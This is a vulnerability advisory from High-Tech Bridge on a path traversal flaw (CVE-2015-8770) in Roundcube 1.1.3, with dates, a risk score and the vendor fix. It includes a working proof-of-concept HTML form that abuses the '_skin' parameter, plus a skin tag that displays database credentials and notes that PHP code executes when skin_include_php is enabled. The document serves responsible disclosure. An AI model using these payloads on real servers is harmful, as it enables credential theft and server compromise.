Advisory ID: HTB23283
Product: Roundcube
Vendor: Roundcube.net
Vulnerable Version(s): 1.1.3 and probably prior
Tested Version: 1.1.3
Advisory Publication:  December 21, 2015  [without technical details]
Vendor Notification: December 21, 2015 
Vendor Patch: December 26, 2015 
Public Disclosure: January 13, 2016 
Vulnerability Type: Path Traversal [CWE-22]
CVE Reference: CVE-2015-8770
Risk Level: Medium 
CVSSv3 Base Score: 5.3 [CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:L]
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered a path traversal vulnerability in a popular webmail client Roundcube. 
Vulnerability can be exploited to gain access to sensitive information and under certain circumstances to execute arbitrary code and totally compromise the
vulnerable server.

The vulnerability exists due to insufficient sanitization of "_skin" HTTP POST parameter in "/index.php" script when changing between different skins
of the web application. A remote authenticated attacker can use path traversal sequences (e.g. "../../") to load a new skin from arbitrary location on the system,
readable by the webserver. 

A simple exploit below will send HTTP POST request to vulnerable script and will load a new skin from "/tmp" folder:


<form action="http://[HOST]/" method="post" name="main">
<input type="hidden" name="_token" value="[TOKEN]">
<input type="hidden" name="_framed" value="1">
<input type="hidden" name="_task" value="settings">
<input type="hidden" name="_action" value="save-prefs">
<input type="hidden" name="_section" value="general">
<input type="hidden" name="_language" value="en_US">
<input type="hidden" name="_timezone" value="auto">
<input type="hidden" name="_time_format" value="H:A">
<input type="hidden" name="_date_format" value="Y-m-d">
<input type="hidden" name="_pretty_date" value="1">
<input type="hidden" name="_refresh_interval" value="1">
<input type="hidden" name="_skin" value="../../../../../../../../tmp">
<input value="submit" id="btn" type="submit" />
</form>


Exploitation of the vulnerability requires valid user credentials and ability to create files on vulnerable host. 

Using specially crafted skin for Roundcube, a remote attacker can gain access to potentially sensitive information. The following code in skin files will 
display database access credentials:

<roundcube:var name="config:db_dsnw" />

In case, when "skin_include_php" parameter is set to true, the attacker will be able to execute arbitrary PHP code from the skin files:

$config['skin_include_php'] = true;

This vulnerability is difficult to exploit since it requires ability to create files on the web server and a valid Roundcube account. 
But this situation is very common for shared hosting servers, that host clients' websites on the same server as Roundcube. 

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Solution:

Update to Roundcube 1.1.4

https://roundcube.net/news/2015/12/26/updates-1.1.4-and-1.0.8-released/

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References:

[1] High-Tech Bridge Advisory HTB23283 - https://www.htbridge.com/advisory/HTB23283 - RCE in Roundcube
[2] Roundcube - https://roundcube.net/ - Free and Open Source Webmail Software
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software 
weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.